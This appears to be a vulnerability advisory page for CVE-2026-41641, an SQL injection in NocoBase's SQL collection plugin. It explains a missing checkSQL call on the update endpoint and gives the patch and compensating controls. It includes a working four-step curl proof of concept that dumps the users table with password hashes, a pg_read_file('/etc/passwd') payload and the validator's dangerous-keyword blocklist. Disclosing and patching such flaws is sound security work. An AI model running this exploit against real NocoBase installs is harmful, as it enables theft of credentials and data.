Skip to main content

NocoBase SQL Collection Plugin CVE-2026-41641

| EUVDEUVD-2026-28318 HIGH
SQL Injection (CWE-89)
2026-04-22 https://github.com/nocobase/nocobase GHSA-wrwh-c28m-9jjh
7.2
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.2 HIGH
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Generated
Apr 23, 2026 - 06:53 vuln.today
Analysis Generated
Apr 22, 2026 - 20:31 vuln.today
Patch released
Apr 22, 2026 - 20:31 nvd
Patch available
PoC Detected
Apr 22, 2026 - 20:07 vuln.today
Public exploit code
CVE Published
Apr 22, 2026 - 20:07 nvd
HIGH 7.2

DescriptionGitHub Advisory

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

javascript
// Line 51-60 - execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

javascript
// Line 105-118 - update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

javascript
export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

bash
TOKEN="<admin_jwt_token>"
# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'
# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"
# Step 3: Update with dangerous SQL - bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK - no validation!
# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

  • Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
  • Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file, LOAD_FILE, dblink) are all accessible through the update bypass.
  • Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pg_read_file reads arbitrary files from the database server filesystem.

Fix Suggestion

  1. Add checkSQL() to the update action. The one-line fix:
javascript
   update: async (ctx: Context, next: Next) => {
       const { sql } = ctx.action.params.values || {};
       if (sql) {
           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
       }
       // ... existing code ...
   }
  1. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.
  2. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.

AnalysisAI

SQL injection in NocoBase plugin-collection-sql allows authenticated users with collection management permissions to bypass validation controls and execute arbitrary SQL queries. The checkSQL() function blocks dangerous keywords on collection creation and execution but is completely absent from the update endpoint, enabling attackers to create benign SQL collections then modify them with malicious queries to exfiltrate sensitive data including user credentials. Vendor patch available via GitHub PR #9134 and commit 851aee5. CVSS 7.2 reflects high privileges required (PR:H), but real-world impact is severe for environments where collection managers are not fully trusted administrators.

Technical ContextAI

NocoBase's @nocobase/plugin-collection-sql package (NPM component pkg:npm/@nocobase_plugin-collection-sql) implements SQL collections that allow executing custom SELECT queries against the backend database. The plugin applies a keyword-blocklist validation function checkSQL() that rejects dangerous SQL functions like pg_read_file, LOAD_FILE, dblink, and enforces SELECT-only queries. This validation correctly guards the collections:create and sqlCollection:execute endpoints but is architecturally missing from the sqlCollection:update resource handler. The root cause is CWE-89 (SQL Injection) compounded by inconsistent input validation across API endpoints. The vulnerability specifically exploits the asymmetric validation pattern where create-time checks can be bypassed through post-creation mutation. PostgreSQL and MySQL-specific file I/O functions become accessible when validation is bypassed, and the single-statement-only design (strips after first semicolon) still permits dangerous operations like pg_read_file() in SELECT clauses or dblink() for lateral database access.

RemediationAI

Apply vendor-released patch from NocoBase GitHub PR #9134 (commit 851aee543efa894142e0f7be03eb55d9cec06a91) available at https://github.com/nocobase/nocobase/pull/9134. The fix adds checkSQL() validation to the sqlCollection:update endpoint, enforcing the same dangerous keyword blocklist used on create and execute actions. If immediate patching is not feasible, implement one of these compensating controls with noted trade-offs: (1) Revoke pm.data-source-manager.collection-sql permissions from all users except fully trusted database administrators - this breaks delegated collection management workflows but completely prevents exploitation. (2) Deploy database-level query restrictions using PostgreSQL security definer functions or MySQL query rewrite plugins to block file I/O functions (pg_read_file, LOAD_FILE, pg_ls_dir) and cross-database access (dblink) at the database layer - this adds operational complexity and may impact legitimate administrative queries. (3) Enable query logging and alerting for SQL collections accessing sensitive tables (users, credentials) or executing functions from the dangerous keyword list - provides detection not prevention, allowing post-incident response but not blocking initial exfiltration. Advisory and patch details at https://github.com/advisories/GHSA-wrwh-c28m-9jjh.

CVE-2025-1094 HIGH POC
8.1 Feb 13

PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() improperl

CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2013-1899 MEDIUM POC
6.5 Apr 04

Argument injection vulnerability in PostgreSQL 9.2.x before 9.2.4, 9.1.x before 9.1.9, and 9.0.x before 9.0.13 allows re

CVE-2026-20253 CRITICAL POC
9.8 Jun 10

Unauthenticated arbitrary file write in Splunk Enterprise (below 10.2.4 and 10.0.7) and Splunk Cloud Platform (below 10.

CVE-2026-9586 CRITICAL POC
9.3 Jul 17

Unauthenticated SQL injection in Sangoma Switchvox SMB Edition 8.3 (build 104997) lets remote attackers execute arbitrar

CVE-2017-7546 CRITICAL
9.8 Aug 16

PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to incorrect authentication flaw allow

CVE-2015-1352 MEDIUM POC
5.0 Mar 30

The build_tablename function in pgsql.c in the PostgreSQL (aka pgsql) extension in PHP through 5.6.7 does not validate t

CVE-2024-10553 CRITICAL POC
9.8 Mar 20

A vulnerability in the h2oai/h2o-3 REST API versions 3.46.0.4 allows unauthenticated remote attackers to execute arbitra

CVE-2019-9193 HIGH POC
7.2 Apr 01

In PostgreSQL 9.3 through 11.2, the "COPY TO/FROM PROGRAM" function allows superusers and users in the 'pg_execute_serve

CVE-2026-40887 CRITICAL POC
9.1 Apr 14

Unauthenticated SQL injection in Vendure Shop API allows remote attackers to execute arbitrary SQL commands against the

CVE-2022-24760 CRITICAL POC
10.0 Mar 12

Parse Server is an open source http web server backend. Rated critical severity (CVSS 10.0), this vulnerability is remot

CVE-2025-56157 CRITICAL POC
9.8 Dec 18

Hard-coded default PostgreSQL credentials shipped in the docker-compose.yaml of langgenius Dify through version 1.5.1 al

Share

CVE-2026-41641 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy